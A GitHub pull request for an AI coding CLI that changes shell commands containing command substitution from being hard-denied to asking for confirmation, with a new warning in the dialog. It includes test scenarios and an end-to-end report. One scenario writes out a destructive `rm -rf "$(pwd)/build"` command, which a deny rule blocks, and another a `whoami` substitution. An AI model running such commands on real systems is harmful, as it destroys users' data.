Skip to content

fix(permissions): make command substitution ask, not deny (#4093)#4386

Merged
pomelo-nwu merged 14 commits into
mainfrom
lazzy/fix-4093-cmd-substitution-deny
May 27, 2026
Merged

fix(permissions): make command substitution ask, not deny (#4093)#4386
pomelo-nwu merged 14 commits into
mainfrom
lazzy/fix-4093-cmd-substitution-deny

Conversation

@LaZzyMan

Copy link
Copy Markdown
Collaborator

Summary

  • What changed: PermissionManager.resolveDefaultPermission no longer returns 'deny' for commands containing shell command substitution ($(), backticks, <(), >()). Substitution-bearing commands now fall through to 'ask' along with every other non-read-only command. The CLI confirmation dialog gains a warnings field that surfaces a "Contains command substitution …" line (mirroring Claude Code's UX).
  • Why it changed: Fixes issue Bug: Command substitution denial is inconsistently applied and opaque #4093 — the deny was both (a) impossible to override via YOLO mode and (b) fired inconsistently. A standalone python3 -c "print($(echo hello))" got 'ask' (PM skipped because hasRelevantRules() returned false), but the same python3 sub-command inside echo hello && python3 -c "…" was hard-denied (because echo hello matched an unrelated allow rule, flipping hasRelevantRules() to true and exposing the substitution to resolveDefaultPermission). Same substitution, opposite verdict, purely a function of which unrelated rules were loaded.
  • Reviewer focus:
    1. packages/core/src/permissions/permission-manager.ts — the actual one-branch removal.
    2. Out-of-scope clarification: shell-utils.ts checkCommandPermissions still hard-denies substitution. That is intentional and belongs to a different path (!{…} shell injections in user-authored slash commands, via cli/services/prompt-processors/shellProcessor.ts) where the deny is a prompt-injection defense, not the agent-tool path Bug: Command substitution denial is inconsistently applied and opaque #4093 describes.

Historical context

This is the surviving half of a two-step migration:

  1. PR fix(tui): skip cross-group tool merge in <Static> mode to eliminate screen flash #4795 'Safer Shell command Execution' (2025-07) — introduced detectCommandSubstitution and used it as a hard deny in isCommandAllowed.
  2. dd518de5b 'fix(acp): align permission flow across clients' (2026-03-26) — moved the deny into the new resolveDefaultPermission during the L3/L4/L5 refactor, keeping the 'deny' semantics.
  3. fb7e30ad3 'fix(shell): remove command substitution deny check from getDefaultPermission' (2026-03-30) — removed the L3 deny but missed the symmetric L4 mirror in resolveDefaultPermission. This PR completes that cleanup.

Validation

  • Commands run:
    npx vitest run packages/core/src/permissions/permission-manager.test.ts packages/core/src/tools/shell.test.ts packages/core/src/tools/tools.test.ts packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx
    npx vitest run packages/core/src/permissions/ packages/core/src/core/ packages/core/src/tools/
    npx vitest run packages/core/src/core/permissionFlow.test.ts packages/core/src/core/permission-helpers.test.ts packages/core/src/utils/shell-utils.test.ts
  • Expected result: All tests pass, including 11 new regression cases targeting the issue.
  • Observed result:
    Suite Result
    permission-manager.test.ts 234 / 234 (5 new `command substitution (issue Bug: Command substitution denial is inconsistently applied and opaque #4093)` cases)
    shell.test.ts 198 / 198 (4 new `command substitution warning (issue Bug: Command substitution denial is inconsistently applied and opaque #4093)` cases)
    tools.test.ts 11 / 11
    CLI `ToolConfirmationMessage.test.tsx` 18 / 18 (2 new render cases)
    Adjacent: `permissionFlow.test.ts` + `permission-helpers.test.ts` + `shell-utils.test.ts` 146 / 146
    Core sweep `packages/core/src/{permissions,core,tools}/` 3104 / 3104 across 82 files
  • Quickest reviewer verification path:
    npx vitest run packages/core/src/permissions/permission-manager.test.ts -t "command substitution"
    npx vitest run packages/core/src/tools/shell.test.ts -t "command substitution warning"
    Both files contain a dedicated describe block named after issue Bug: Command substitution denial is inconsistently applied and opaque #4093 with the exact compound command from the issue and the related variants.
  • Evidence — the regression scenarios that now resolve correctly:
    Scenario Before After
    `python3 -c "print($(echo hello))"` (standalone, no relevant rules) `'ask'` (PM skipped) `'ask'` (preserved)
    `git status && python3 -c "print($(echo hello))"` (with `Bash(git *)` allow rule) `'deny'` — opaque error, no YOLO override `'ask'` (YOLO auto-approves with warning surfaced)
    `echo \`whoami\`` `'deny'` `'ask'`
    `diff <(ls /a) <(ls /b)` `'deny'` `'ask'`
    `rm -rf "$(pwd)/build"` (with `Bash(rm *)` deny rule) `'deny'` `'deny'` (deny-rule precedence preserved)
  • User-visible UX change: confirmation dialog now shows a yellow ⚠ line below the command body when substitution is detected, e.g.:
    ```
    ⚠ Contains command substitution ($(...), backticks, <(...), or >(...)).
    ```
    This mirrors Claude Code's "Contains command_substitution" hint from the issue thread.

Scope / Risk

  • Main risk or tradeoff: Substitution commands that previously caused a hard error now ask for confirmation. In YOLO mode that means they execute (with a printed warning); some operators may have been relying on the deny as a backstop. Mitigation: anyone wanting hard-deny behavior can write an explicit `permissions.deny` rule (e.g. `Bash($\()`), which the PR explicitly preserves over the new `'ask'` default.
  • Not covered / not validated: No interactive TUI screenshot is included; the warning is exercised by the snapshot-style render test in `ToolConfirmationMessage.test.tsx` (`renders warnings on exec confirmations when provided`). The other CLI hosts (ACP, IDE companion) consume the same `ToolExecuteConfirmationDetails` type and can opt into rendering `warnings` separately; this PR only wires it through in the CLI host.
  • Breaking changes / migration notes: None for end users. The internal return type of `PermissionManager.resolveDefaultPermission` narrowed from `'allow' | 'ask' | 'deny'` to `'allow' | 'ask'`, and `ToolExecuteConfirmationDetails` gains an optional `warnings?: string[]` field — both source-compatible additions for downstream consumers.

Testing Matrix

🍏 🪟 🐧
npm run ⚠️ ⚠️
npx N/A N/A N/A
Docker N/A N/A N/A
Podman N/A N/A N/A
Seatbelt N/A N/A N/A

Testing matrix notes:

  • Validation is exclusively unit-level (vitest) because the change is in core permission logic with no platform-specific code paths. Confirmed on macOS via `npm run` / `npx vitest run …`. Windows / Linux not run separately — pure TypeScript change with no native deps touched.

Linked Issues / Bugs

Fixes #4093

`resolveDefaultPermission` hard-denied any shell command containing
$(), backticks, <(), or >(). Two problems:

1. The deny couldn't be overridden by YOLO mode — YOLO sees the
   result only as `'ask'` or `'default'`, never `'deny'`.
2. It fired inconsistently: only when `hasRelevantRules()` happened
   to be true. A compound command like
   `echo hello && python3 -c "print($(echo hello))"` was hard-denied
   because `echo hello` matched an unrelated allow rule and made
   `hasRelevantRules()` true, while the same `python3` sub-command
   in isolation kept its L3 `'ask'` (PM skipped) and was approvable.
   Same substitution, opposite verdict — purely a function of which
   unrelated rules were loaded.

This is the surviving half of a two-step migration. `fb7e30ad3
"fix(shell): remove command substitution deny check from
getDefaultPermission"` removed the equivalent L3 deny but missed
the L4 mirror — this commit completes that cleanup.

What changes:
- `resolveDefaultPermission` no longer special-cases substitution; the
  AST read-only check already marks substitution-bearing commands as
  non-read-only, so they fall through to `'ask'` with everything else.
- Return type narrowed from `'allow' | 'ask' | 'deny'` to `'allow' | 'ask'`.
- `ToolExecuteConfirmationDetails` gains an optional `warnings?: string[]`
  field. `ShellToolInvocation.getConfirmationDetails` populates it with a
  "Contains command substitution …" line when substitution is detected
  on either the original or stripped command. The CLI confirmation
  dialog renders these as ⚠-prefixed lines in the warning color,
  mirroring Claude Code's UX (see issue thread for reference).

Out of scope: `checkCommandPermissions` in shell-utils.ts still hard-
denies substitution. That path is exercised by user-authored `!{...}`
shell injections in slash commands (shellProcessor.ts) and is a
prompt-injection defense, not the agent-tool path #4093 describes.

Regression coverage:
- permission-manager.test.ts: new `command substitution (issue #4093)`
  describe with 5 cases — standalone $(), the exact compound from the
  issue, backticks, <(), and deny-rule precedence.
- shell.test.ts: new `command substitution warning (issue #4093)`
  describe with 4 cases — $()/backticks/<() each surface a warning,
  plain commands do not.
- ToolConfirmationMessage.test.tsx: 2 new render tests.

Fixes #4093
@LaZzyMan LaZzyMan marked this pull request as ready for review May 21, 2026 07:57
@LaZzyMan LaZzyMan requested review from Copilot and wenshao and removed request for wenshao May 21, 2026 07:57

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR fixes inconsistent handling of shell commands containing command substitution by removing the hard-deny default in PermissionManager.resolveDefaultPermission and instead surfacing an informational warning in the CLI confirmation UI. This aligns the permission outcome for substitution-bearing commands with the normal “ask” flow while still flagging the risk to users.

Changes:

  • Remove command-substitution → 'deny' defaulting from PermissionManager.resolveDefaultPermission, letting such commands fall through to 'ask'.
  • Add an optional warnings?: string[] field to exec confirmation details and populate it for shell commands that contain command substitution.
  • Render warnings in the CLI ToolConfirmationMessage and add regression tests covering both the permission decision and the UI warning.

Reviewed changes

Copilot reviewed 7 out of 7 changed files in this pull request and generated 2 comments.

Show a summary per file
File Description
packages/core/src/tools/tools.ts Adds optional warnings?: string[] to exec confirmation details.
packages/core/src/tools/shell.ts Detects command substitution and attaches a warning to confirmation details.
packages/core/src/tools/shell.test.ts Adds tests asserting warnings appear (or are omitted) as expected.
packages/core/src/permissions/permission-manager.ts Removes substitution hard-deny from default permission resolution and updates docs/types accordingly.
packages/core/src/permissions/permission-manager.test.ts Adds regression tests for issue #4093 scenarios.
packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx Renders optional warnings under the command in the confirmation UI.
packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx Adds tests for warnings rendering/omission in the CLI message component.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx Outdated
Comment thread packages/core/src/permissions/permission-manager.test.ts Outdated
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

E2E verification report

Followed .claude/skills/e2e-testing to verify the fix against the exact scenarios in #4093.

Setup

# 1. Build the local fix
rm -rf packages/core/dist packages/cli/dist
npm run build && npm run bundle

# 2. Workspace with the rule that reproduces the original deny
mkdir -p /tmp/e2e-4093/.qwen
cat > /tmp/e2e-4093/.qwen/settings.json <<'JSON'
{
  "permissions": {
    "allow": ["Bash(echo *)"]
  }
}
JSON

CLI=$PWD/dist/cli.js

This is the exact hasRelevantRules-triggering configuration the issue calls out: the workspace has a Bash(echo *) allow rule, which makes the PM consider its rules "relevant" to any compound command that includes echo ….

Scenario 1 — issue's headline reproduction (YOLO, compound, mixed allow + substitution)

Before the fix this was hard-denied with Tool "run_shell_command" is denied by permission rules.

cd /tmp/e2e-4093 && node "$CLI" \
  'Run this exact shell command and report the output:  echo hello && python3 -c "print($(echo world))"' \
  --approval-mode yolo --output-format json

Result — fixed:

Field Value
permission_mode yolo
Tool used run_shell_command
Command (verbatim) echo hello && python3 -c "print($(echo world))"
is_error false
permission_denials []
tools.decisions {accept:0, reject:0, modify:0, auto_accept:1}
Tool output hello\nTraceback ... NameError: name 'world' is not defined (Python error from unquoted substitution — proves shell + substitution actually ran)

The compound command now reaches execution; YOLO sees 'ask' and auto-approves. No opaque deny.

Scenario 2 — standalone substitution, no relevant rules (regression guard)

This path was already working before the fix (PM skipped because hasRelevantRules=false). Verifies the fix preserves it.

mkdir -p /tmp/e2e-4093-no-rules    # no .qwen/ settings → no relevant rules
cd /tmp/e2e-4093-no-rules && node "$CLI" \
  'Run this exact shell command: python3 -c "print($(echo standalone))"' \
  --approval-mode yolo --output-format json

Result — preserved: is_error: false, permission_denials: [], auto_accept: 1, Python NameError output as expected. ✅

Scenario 3 — interactive default mode renders the new warning

Drives the TUI through tmux per the e2e-testing skill, captures the confirmation pane verbatim.

tmux new-session -d -s e2e4093 -x 200 -y 50 \
  "cd /tmp/e2e-4093 && node '$CLI' --approval-mode default"
tmux send-keys -t e2e4093 \
  "Use run_shell_command with this EXACT command argument, do not modify or wrap it: 'date && ls -la \$(pwd)'"
tmux send-keys -t e2e4093 Enter

Captured pane (verbatim, key portion):

╭───────────────────────────────────────────────────────────────────────────────╮
│ ?  Shell date && ls -la $(pwd) (Print current date and list files ...) ←      │
│                                                                               │
│   date && ls -la $(pwd)                                                       │
│                                                                               │
│   ⚠ Contains command substitution ($(...), backticks, <(...), or >(...)).    │
│                                                                               │
│ Allow execution of: 'date, ls'?                                               │
│                                                                               │
│ › 1. Yes, allow once                                                          │
│   2. Always allow run 'date' commands, run 'ls *' commands in this project    │
│   3. Always allow run 'date' commands, run 'ls *' commands for this user      │
│   4. No, suggest changes (esc)                                                │
│                                                                               │
╰───────────────────────────────────────────────────────────────────────────────╯

The new ⚠ line appears directly below the command body in the warning theme color, mirroring Claude Code's "Contains command_substitution" hint that #4093 referenced.

After pressing Enter (option 1, "Yes, allow once"), the command executes:

✓  Shell date && ls -la $(pwd) (Print current date and list files ...)

   Thu May 21 16:12:06 CST 2026
   total 0
   drwxr-xr-x@   3 mochi  wheel    96 May 21 16:05 .
   drwxrwxrwt  170 root   wheel  5440 May 21 16:11 ..
   drwxr-xr-x@   4 mochi  wheel   128 May 21 16:06 .qwen

Summary

Scenario Before fix After fix (this PR) Verified
YOLO + compound with allow-rule + substitution sub-command hard deny (opaque message, not overridable) 'ask' → YOLO auto-approves, executes ✅ Scenario 1
YOLO + standalone substitution (no relevant rules) 'ask' → YOLO auto-approves unchanged (regression preserved) ✅ Scenario 2
Default + substitution hard deny 'ask' with visible ⚠ Contains command substitution … warning, user can approve ✅ Scenario 3
Deny-rule precedence over substitution always deny unchanged ✅ covered by unit test still honors explicit deny rules over substitution-bearing commands

E2E + unit-level coverage now both green. No opaque deny message observed anywhere in the new behavior.

@github-actions

github-actions Bot commented May 21, 2026

Copy link
Copy Markdown
Contributor

Code Coverage Summary

Package Lines Statements Functions Branches
CLI 77.35% 77.35% 80.19% 79.91%
Core 80.36% 80.36% 82.57% 83.06%
CLI Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   77.35 |    79.91 |   80.19 |   77.35 |                   
 src               |   75.52 |    68.65 |   78.94 |   75.52 |                   
  gemini.tsx       |   69.03 |    66.15 |   77.77 |   69.03 | ...43,960-963,975 
  ...ractiveCli.ts |   78.73 |    66.89 |   73.33 |   78.73 | ...1284-1285,1321 
  ...liCommands.ts |    74.9 |     75.6 |     100 |    74.9 | ...41-265,290,391 
  ...ActiveAuth.ts |     100 |     87.5 |     100 |     100 | 66-80             
 ...cp-integration |   61.97 |    65.24 |   78.12 |   61.97 |                   
  acpAgent.ts      |   63.32 |    65.35 |   83.05 |   63.32 | ...2112,2126-2134 
  authMethods.ts   |   12.19 |      100 |       0 |   12.19 | 11-31,34-38,41-50 
  errorCodes.ts    |       0 |        0 |       0 |       0 | 1-22              
  ...DirContext.ts |     100 |      100 |     100 |     100 |                   
 ...ration/service |   68.65 |    83.33 |   66.66 |   68.65 |                   
  filesystem.ts    |   68.65 |    83.33 |   66.66 |   68.65 | ...32,77-94,97-98 
 ...ration/session |   75.88 |    72.05 |   86.25 |   75.88 |                   
  ...ryReplayer.ts |   67.34 |     75.6 |   81.81 |   67.34 | ...54-269,282-283 
  Session.ts       |   74.93 |    70.81 |   88.46 |   74.93 | ...2658,2664-2667 
  ...entTracker.ts |   90.85 |    84.84 |      90 |   90.85 | ...35,199,251-260 
  index.ts         |       0 |        0 |       0 |       0 | 1-40              
  ...ssionUtils.ts |   84.21 |    77.77 |     100 |   84.21 | ...37-153,209-211 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...ssion/emitters |   96.01 |    90.75 |    92.3 |   96.01 |                   
  BaseEmitter.ts   |   76.92 |    66.66 |      80 |   76.92 | 23-24,39-40,55-56 
  ...ageEmitter.ts |     100 |    89.47 |     100 |     100 | 109,111           
  PlanEmitter.ts   |     100 |      100 |     100 |     100 |                   
  ...allEmitter.ts |   98.06 |     92.3 |     100 |   98.06 | 227-228,327,335   
  index.ts         |       0 |        0 |       0 |       0 | 1-10              
 ...ession/rewrite |   90.36 |    87.83 |   94.11 |   90.36 |                   
  LlmRewriter.ts   |      81 |       84 |     100 |      81 | ...,88-89,155-159 
  ...Middleware.ts |   95.83 |    85.71 |     100 |   95.83 | 119,127-129       
  TurnBuffer.ts    |     100 |      100 |     100 |     100 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 src/commands      |   45.67 |    85.71 |   43.47 |   45.67 |                   
  auth.ts          |     100 |    83.33 |     100 |     100 | 11,14             
  channel.ts       |   56.66 |      100 |       0 |   56.66 | 15-19,27-34       
  extensions.tsx   |   96.55 |      100 |      50 |   96.55 | 37                
  hooks.tsx        |   66.66 |      100 |       0 |   66.66 | 20-24             
  mcp.ts           |   94.73 |      100 |      50 |   94.73 | 28                
  review.ts        |   51.85 |      100 |       0 |   51.85 | 24-35,38          
  serve.ts         |    8.02 |      100 |       0 |    8.02 | ...56-152,154-266 
 ...mmands/channel |   39.25 |    79.45 |      50 |   39.25 |                   
  ...l-registry.ts |    8.57 |      100 |       0 |    8.57 | 6-21,24-42        
  config-utils.ts  |      92 |      100 |   66.66 |      92 | 21-26             
  configure.ts     |    14.7 |      100 |       0 |    14.7 | 18-21,23-84       
  pairing.ts       |   26.31 |      100 |       0 |   26.31 | ...30,40-50,52-65 
  pidfile.ts       |   96.34 |    86.95 |     100 |   96.34 | 49,59,91          
  start.ts         |   30.98 |       52 |   69.23 |   30.98 | ...72-475,484-486 
  status.ts        |   17.85 |      100 |       0 |   17.85 | 15-26,32-76       
  stop.ts          |      20 |      100 |       0 |      20 | 14-48             
 ...nds/extensions |   84.89 |    88.52 |   81.81 |   84.89 |                   
  consent.ts       |   71.65 |    89.28 |   42.85 |   71.65 | ...85-141,156-162 
  disable.ts       |     100 |      100 |     100 |     100 |                   
  enable.ts        |     100 |      100 |     100 |     100 |                   
  install.ts       |    75.6 |    66.66 |   66.66 |    75.6 | ...39-142,145-153 
  link.ts          |     100 |      100 |     100 |     100 |                   
  list.ts          |     100 |      100 |     100 |     100 |                   
  new.ts           |     100 |      100 |     100 |     100 |                   
  settings.ts      |   99.15 |      100 |   83.33 |   99.15 | 151               
  uninstall.ts     |    37.5 |      100 |   33.33 |    37.5 | 23-45,57-64,67-70 
  update.ts        |   96.32 |      100 |     100 |   96.32 | 101-105           
  utils.ts         |   65.06 |    31.25 |     100 |   65.06 | ...85,87-91,93-97 
 ...les/mcp-server |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-60              
 src/commands/mcp  |   92.29 |    86.08 |   88.88 |   92.29 |                   
  add.ts           |     100 |    98.03 |     100 |     100 | 293               
  list.ts          |   91.22 |    80.76 |      80 |   91.22 | ...19-121,146-147 
  reconnect.ts     |   76.72 |    71.42 |   85.71 |   76.72 | 35-48,153-175     
  remove.ts        |     100 |       80 |     100 |     100 | 21-25             
 ...ommands/review |   11.57 |      100 |       0 |   11.57 |                   
  cleanup.ts       |   17.94 |      100 |       0 |   17.94 | ...01-106,108-109 
  deterministic.ts |   13.75 |      100 |       0 |   13.75 | ...22-738,740-741 
  fetch-pr.ts      |   11.36 |      100 |       0 |   11.36 | ...80-201,203-204 
  load-rules.ts    |   11.32 |      100 |       0 |   11.32 | ...41-153,155-156 
  pr-context.ts    |    6.22 |      100 |       0 |    6.22 | ...97-312,314-315 
  presubmit.ts     |    9.35 |      100 |       0 |    9.35 | ...62-287,289-290 
 ...nds/review/lib |      30 |      100 |       0 |      30 |                   
  gh.ts            |   22.58 |      100 |       0 |   22.58 | ...49,53-54,62-69 
  git.ts           |   22.72 |      100 |       0 |   22.72 | 15-18,29-39,43-44 
  paths.ts         |   52.94 |      100 |       0 |   52.94 | ...26,37-38,42-43 
 src/config        |   92.56 |    84.55 |   89.36 |   92.56 |                   
  auth.ts          |   86.98 |    80.32 |     100 |   86.98 | ...26-227,243-244 
  config.ts        |   86.68 |    83.49 |   81.48 |   86.68 | ...1935,1937-1945 
  keyBindings.ts   |   96.55 |       50 |     100 |   96.55 | 193-196           
  ...ngsAdapter.ts |     100 |    94.11 |     100 |     100 | 64                
  ...idersScope.ts |      92 |       90 |     100 |      92 | 11-12             
  sandboxConfig.ts |   61.64 |    71.87 |   66.66 |   61.64 | ...54-68,73,77-89 
  settings.ts      |   85.76 |    87.25 |   89.18 |   85.76 | ...1148,1153-1156 
  ...ingsSchema.ts |     100 |      100 |     100 |     100 |                   
  ...tedFolders.ts |   96.22 |       94 |     100 |   96.22 | ...88-190,205-206 
 ...nfig/migration |   94.89 |    78.94 |   83.33 |   94.89 |                   
  index.ts         |   94.87 |    88.88 |     100 |   94.87 | 91-92             
  scheduler.ts     |   96.55 |    77.77 |     100 |   96.55 | 19-20             
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...ation/versions |   94.74 |       96 |     100 |   94.74 |                   
  ...-v2-shared.ts |     100 |      100 |     100 |     100 |                   
  v1-to-v2.ts      |   81.75 |    90.19 |     100 |   81.75 | ...28-229,231-247 
  v2-to-v3.ts      |     100 |      100 |     100 |     100 |                   
  v3-to-v4.ts      |     100 |      100 |     100 |     100 |                   
 src/core          |     100 |      100 |     100 |     100 |                   
  auth.ts          |     100 |      100 |     100 |     100 |                   
  initializer.ts   |     100 |      100 |     100 |     100 |                   
  theme.ts         |     100 |      100 |     100 |     100 |                   
 src/dualOutput    |   63.09 |    64.51 |   55.55 |   63.09 |                   
  ...tputBridge.ts |   62.94 |    65.51 |   56.25 |   62.94 | ...22-323,331-334 
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/export        |       0 |        0 |       0 |       0 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-7               
 src/generated     |     100 |      100 |     100 |     100 |                   
  git-commit.ts    |     100 |      100 |     100 |     100 |                   
 src/i18n          |   81.47 |    75.94 |   65.71 |   81.47 |                   
  index.ts         |   63.68 |    69.56 |   53.84 |   63.68 | ...70-271,281-286 
  languages.ts     |   96.92 |    86.66 |     100 |   96.92 | 134-135,167,184   
  ...nslateKeys.ts |     100 |      100 |     100 |     100 |                   
  ...lationDict.ts |   93.33 |    66.66 |     100 |   93.33 | 15                
 src/i18n/locales  |     100 |      100 |     100 |     100 |                   
  ca.js            |     100 |      100 |     100 |     100 |                   
  de.js            |     100 |      100 |     100 |     100 |                   
  en.js            |     100 |      100 |     100 |     100 |                   
  fr.js            |     100 |      100 |     100 |     100 |                   
  ja.js            |     100 |      100 |     100 |     100 |                   
  pt.js            |     100 |      100 |     100 |     100 |                   
  ru.js            |     100 |      100 |     100 |     100 |                   
  zh-TW.js         |     100 |      100 |     100 |     100 |                   
  zh.js            |     100 |      100 |     100 |     100 |                   
 ...nonInteractive |   72.57 |    71.12 |   74.07 |   72.57 |                   
  session.ts       |   76.64 |     69.4 |   85.71 |   76.64 | ...23-824,833-843 
  types.ts         |    42.5 |      100 |   33.33 |    42.5 | ...90-591,594-595 
 ...active/control |   76.79 |    88.23 |      80 |   76.79 |                   
  ...rolContext.ts |    6.89 |        0 |       0 |    6.89 | 50-86             
  ...Dispatcher.ts |   91.66 |    91.83 |   88.88 |   91.66 | ...54-372,388,391 
  ...rolService.ts |       8 |        0 |       0 |       8 | 46-179            
 ...ol/controllers |   27.25 |    35.71 |   36.66 |   27.25 |                   
  ...Controller.ts |   36.97 |       80 |      80 |   36.97 | ...15-117,127-210 
  ...Controller.ts |       0 |        0 |       0 |       0 | 1-56              
  ...Controller.ts |    33.7 |    34.48 |   44.44 |    33.7 | ...57-466,481-486 
  ...Controller.ts |   14.06 |      100 |       0 |   14.06 | ...82-117,130-133 
  ...Controller.ts |   21.97 |    28.57 |   27.27 |   21.97 | ...39-451,460-489 
 .../control/types |       0 |        0 |       0 |       0 |                   
  serviceAPIs.ts   |       0 |        0 |       0 |       0 | 1                 
 ...Interactive/io |   98.01 |    93.77 |   95.23 |   98.01 |                   
  ...putAdapter.ts |   97.89 |    92.82 |   98.07 |   97.89 | ...1303,1398-1399 
  ...putAdapter.ts |      96 |     90.9 |   85.71 |      96 | 51-52             
  ...nputReader.ts |     100 |    94.73 |     100 |     100 | 67                
  ...putAdapter.ts |   98.38 |      100 |   90.47 |   98.38 | 83-84,124-125     
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/patches       |       0 |        0 |       0 |       0 |                   
  is-in-ci.ts      |       0 |        0 |       0 |       0 | 1-17              
 src/remoteInput   |   86.98 |       75 |   85.71 |   86.98 |                   
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  ...putWatcher.ts |   88.12 |    76.08 |   91.66 |   88.12 | ...21-222,233-236 
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/serve         |    79.3 |     78.8 |   92.85 |    79.3 |                   
  auth.ts          |   88.49 |    88.63 |     100 |   88.49 | ...49-150,153-155 
  capabilities.ts  |     100 |     90.9 |     100 |     100 | 264               
  ...usProvider.ts |   67.01 |    51.42 |     100 |   67.01 | ...40-245,278-286 
  debugMode.ts     |     100 |      100 |     100 |     100 |                   
  demo.ts          |     100 |      100 |     100 |     100 |                   
  envSnapshot.ts   |    92.3 |       84 |     100 |    92.3 | 108-111,170-177   
  eventBus.ts      |     100 |      100 |     100 |     100 |                   
  httpAcpBridge.ts |   79.62 |    78.84 |   96.38 |   79.62 | ...4246,4277-4318 
  ...oryChannel.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-106             
  loopbackBinds.ts |     100 |      100 |     100 |     100 |                   
  runQwenServe.ts  |   73.98 |    87.83 |   55.55 |   73.98 | ...94-710,735-737 
  server.ts        |   86.18 |    82.94 |   90.62 |   86.18 | ...2478,2543-2552 
  status.ts        |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...paceAgents.ts |   64.87 |    70.45 |    90.9 |   64.87 | ...1306,1316-1326 
  ...paceMemory.ts |   87.13 |    78.46 |     100 |   87.13 | ...54-361,421-428 
 src/serve/auth    |   86.54 |    78.75 |   93.75 |   86.54 |                   
  deviceFlow.ts    |   96.33 |    79.51 |    97.5 |   96.33 | ...1526,1630,1700 
  ...owProvider.ts |   45.23 |    74.07 |      75 |   45.23 | ...90-359,375,379 
 src/serve/fs      |   84.85 |    79.75 |     100 |   84.85 |                   
  audit.ts         |     100 |    96.15 |     100 |     100 | 201               
  errors.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  paths.ts         |   77.82 |    77.08 |     100 |   77.82 | ...64,493-497,510 
  policy.ts        |   90.32 |    89.18 |     100 |   90.32 | 142-150           
  ...FileSystem.ts |   83.55 |    76.22 |     100 |   83.55 | ...1859,1886-1887 
 src/serve/routes  |   89.41 |       70 |     100 |   89.41 |                   
  ...ceFileRead.ts |   94.41 |    76.92 |     100 |   94.41 | ...28-329,390-392 
  ...eFileWrite.ts |    82.1 |    60.52 |     100 |    82.1 | ...42-244,247-249 
 src/services      |   91.66 |    91.21 |   97.56 |   91.66 |                   
  ...mandLoader.ts |     100 |    93.75 |     100 |     100 | 92                
  ...killLoader.ts |     100 |    96.15 |     100 |     100 | 47                
  ...andService.ts |    98.7 |      100 |     100 |    98.7 | 107               
  ...mandLoader.ts |   86.83 |    83.87 |     100 |   86.83 | ...30-335,340-345 
  ...omptLoader.ts |   75.84 |    80.64 |   83.33 |   75.84 | ...10-211,277-278 
  ...mandLoader.ts |     100 |      100 |     100 |     100 |                   
  ...nd-factory.ts |   91.42 |    91.66 |     100 |   91.42 | 128,137-144       
  ...ation-tool.ts |     100 |    95.45 |     100 |     100 | 125               
  ...ndMetadata.ts |   98.21 |    96.66 |     100 |   98.21 | 83,87             
  commandUtils.ts  |      96 |     90.9 |     100 |      96 | 48                
  ...and-parser.ts |   90.69 |    85.71 |     100 |   90.69 | 63-66             
  ...ionService.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...ght/generators |    85.9 |    85.61 |   90.47 |    85.9 |                   
  DataProcessor.ts |   85.63 |     85.6 |   92.85 |   85.63 | ...1122,1126-1133 
  ...tGenerator.ts |   98.21 |    85.71 |     100 |   98.21 | 46                
  ...teRenderer.ts |   45.45 |      100 |       0 |   45.45 | 13-51             
 .../insight/types |       0 |       50 |      50 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 | 1                 
 ...mpt-processors |   97.27 |    94.04 |     100 |   97.27 |                   
  ...tProcessor.ts |     100 |      100 |     100 |     100 |                   
  ...eProcessor.ts |   94.52 |    84.21 |     100 |   94.52 | 46-47,93-94       
  ...tionParser.ts |     100 |      100 |     100 |     100 |                   
  ...lProcessor.ts |   97.41 |    95.65 |     100 |   97.41 | 95-98             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services/tips |   97.34 |    84.84 |     100 |   97.34 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  tipHistory.ts    |   92.45 |       70 |     100 |   92.45 | ...22,144,151,160 
  tipRegistry.ts   |     100 |      100 |     100 |     100 |                   
  tipScheduler.ts  |     100 |    91.66 |     100 |     100 | 55                
 src/test-utils    |   93.75 |    83.33 |      80 |   93.75 |                   
  ...omMatchers.ts |   69.69 |       50 |      50 |   69.69 | 32-35,37-39,45-47 
  ...andContext.ts |     100 |      100 |     100 |     100 |                   
  render.tsx       |     100 |      100 |     100 |     100 |                   
 src/ui            |   65.51 |    73.04 |   60.34 |   65.51 |                   
  App.tsx          |     100 |      100 |     100 |     100 |                   
  AppContainer.tsx |   63.66 |     64.7 |      50 |   63.66 | ...3151,3155-3159 
  ...tionNudge.tsx |    9.58 |      100 |       0 |    9.58 | 24-94             
  ...ackDialog.tsx |   29.23 |      100 |       0 |   29.23 | 25-75             
  ...tionNudge.tsx |    7.69 |      100 |       0 |    7.69 | 25-103            
  colors.ts        |      60 |      100 |   35.29 |      60 | ...52,54-55,60-61 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  keyMatchers.ts   |   95.91 |    97.05 |     100 |   95.91 | 25-26             
